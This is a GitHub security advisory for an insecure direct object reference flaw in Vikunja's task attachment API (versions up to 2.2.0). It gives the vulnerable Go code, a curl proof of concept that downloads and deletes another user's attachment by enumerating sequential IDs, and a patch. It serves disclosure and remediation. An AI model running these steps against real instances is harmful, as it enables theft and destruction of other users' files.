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IDOR in Task Attachment ReadOne Allows Cross-Project File Access and Deletion

High
kolaente published GHSA-jfmm-mjcp-8wq2 Mar 23, 2026

Package

gomod code.vikunja.io/api (Go)

Affected versions

<= 2.2.0

Patched versions

2.2.1

Description

Summary

TaskAttachment.ReadOne() queries attachments by ID only (WHERE id = ?), ignoring the task ID from the URL path. The permission check in CanRead() validates access to the task specified in the URL, but ReadOne() loads a different attachment that may belong to a task in another project. This allows any authenticated user to download or delete any attachment in the system by providing their own accessible task ID with a target attachment ID. Attachment IDs are sequential integers, making enumeration trivial.

Details

The vulnerability is in pkg/models/task_attachment.go in the ReadOne method:

// pkg/models/task_attachment.go:110-120
func (ta *TaskAttachment) ReadOne(s *xorm.Session, _ web.Auth) (err error) {
	exists, err := s.Where("id = ?", ta.ID).Get(ta)  // Only checks attachment ID, ignores TaskID
	if err != nil {
		return
	}
	if !exists {
		return ErrTaskAttachmentDoesNotExist{
			TaskID:       ta.TaskID,
			AttachmentID: ta.ID,
		}
	}
	// ...
}

The permission check in pkg/models/task_attachment_permissions.go validates access to the URL task, not the attachment's actual task:

// pkg/models/task_attachment_permissions.go:25-28
func (ta *TaskAttachment) CanRead(s *xorm.Session, a web.Auth) (bool, int, error) {
	t := &Task{ID: ta.TaskID}  // ta.TaskID is from URL param :task
	return t.CanRead(s, a)
}

The TaskAttachment struct binds URL parameters via struct tags (param:"task" and param:"attachment"):

// pkg/models/task_attachment.go:41-42
ID     int64 `xorm:"bigint autoincr not null unique pk" json:"id" param:"attachment"`
TaskID int64 `xorm:"bigint not null" json:"task_id" param:"task"`

Attack flow for read (GET):
The custom handler at pkg/routes/api/v1/task_attachment.go:156 calls CanRead (checks URL task) then ReadOne (loads attachment by ID only).

Attack flow for delete (DELETE):
The generic CRUD handler calls CanDelete (checks write on URL task) then Delete which calls ReadOne (loads any attachment by ID), then deletes it.

This is the same vulnerability pattern that was already fixed for task comments, where getTaskCommentSimple was patched to add AND task_id = ? validation:

// pkg/models/task_comments.go:196-205 (the fix)
func getTaskCommentSimple(s *xorm.Session, tc *TaskComment) error {
	query := s.Where("id = ?", tc.ID).NoAutoCondition()
	if tc.TaskID != 0 {
		query = query.And("task_id = ?", tc.TaskID)
	}
	// ...
}

PoC

Prerequisites: Two users (attacker and victim). Victim has a project with a task that has a file attachment. Attacker has read access to any task (e.g., their own project).

Step 1: Attacker creates their own project and task.

# Attacker creates a project
curl -s -X PUT 'http://localhost:3456/api/v1/projects' \
  -H 'Authorization: Bearer <attacker_token>' \
  -H 'Content-Type: application/json' \
  -d '{"title":"attacker project"}' | jq '.id'
# Returns: 10

# Attacker creates a task in their project
curl -s -X PUT 'http://localhost:3456/api/v1/projects/10/tasks' \
  -H 'Authorization: Bearer <attacker_token>' \
  -H 'Content-Type: application/json' \
  -d '{"title":"attacker task"}' | jq '.id'
# Returns: 50

Step 2: Victim uploads a confidential attachment to their task (in a different project the attacker has no access to).

curl -s -X PUT 'http://localhost:3456/api/v1/tasks/1/attachments' \
  -H 'Authorization: Bearer <victim_token>' \
  -F 'files=@secret-document.pdf'
# Returns attachment with id: 5

Step 3: Attacker downloads the victim's attachment by referencing their own task ID but the victim's attachment ID.

# Attacker accesses victim's attachment (id=5) via their own task (id=50)
curl -s -X GET 'http://localhost:3456/api/v1/tasks/50/attachments/5' \
  -H 'Authorization: Bearer <attacker_token>' \
  -o stolen-file.pdf
# Returns: victim's secret-document.pdf

Step 4: Attacker can also delete the victim's attachment.

curl -s -X DELETE 'http://localhost:3456/api/v1/tasks/50/attachments/5' \
  -H 'Authorization: Bearer <attacker_token>'
# Returns: 200 OK — victim's attachment is deleted

Since attachment IDs are sequential autoincrement integers, the attacker can enumerate all attachments in the system (1, 2, 3, ...).

Impact

  • Confidentiality: Any authenticated user can download any file attachment in the entire system, regardless of project permissions. This includes confidential documents, images, and any files uploaded as task attachments.
  • Integrity: Any authenticated user with write access to any task can delete any attachment in the system, causing data loss for other users.
  • Enumeration: Sequential integer IDs make it trivial to iterate through all attachments without any prior knowledge of target attachment IDs.
  • Scope: Affects all Vikunja instances with task attachments enabled (the default).

Recommended Fix

Add task_id validation to ReadOne, mirroring the fix already applied to task comments:

// pkg/models/task_attachment.go
func (ta *TaskAttachment) ReadOne(s *xorm.Session, _ web.Auth) (err error) {
	query := s.Where("id = ?", ta.ID)
	if ta.TaskID != 0 {
		query = query.And("task_id = ?", ta.TaskID)
	}
	exists, err := query.Get(ta)
	if err != nil {
		return
	}
	if !exists {
		return ErrTaskAttachmentDoesNotExist{
			TaskID:       ta.TaskID,
			AttachmentID: ta.ID,
		}
	}

	// ... rest unchanged
}

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

CVE ID

CVE-2026-33678

Weaknesses

Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. Learn more on MITRE.

Credits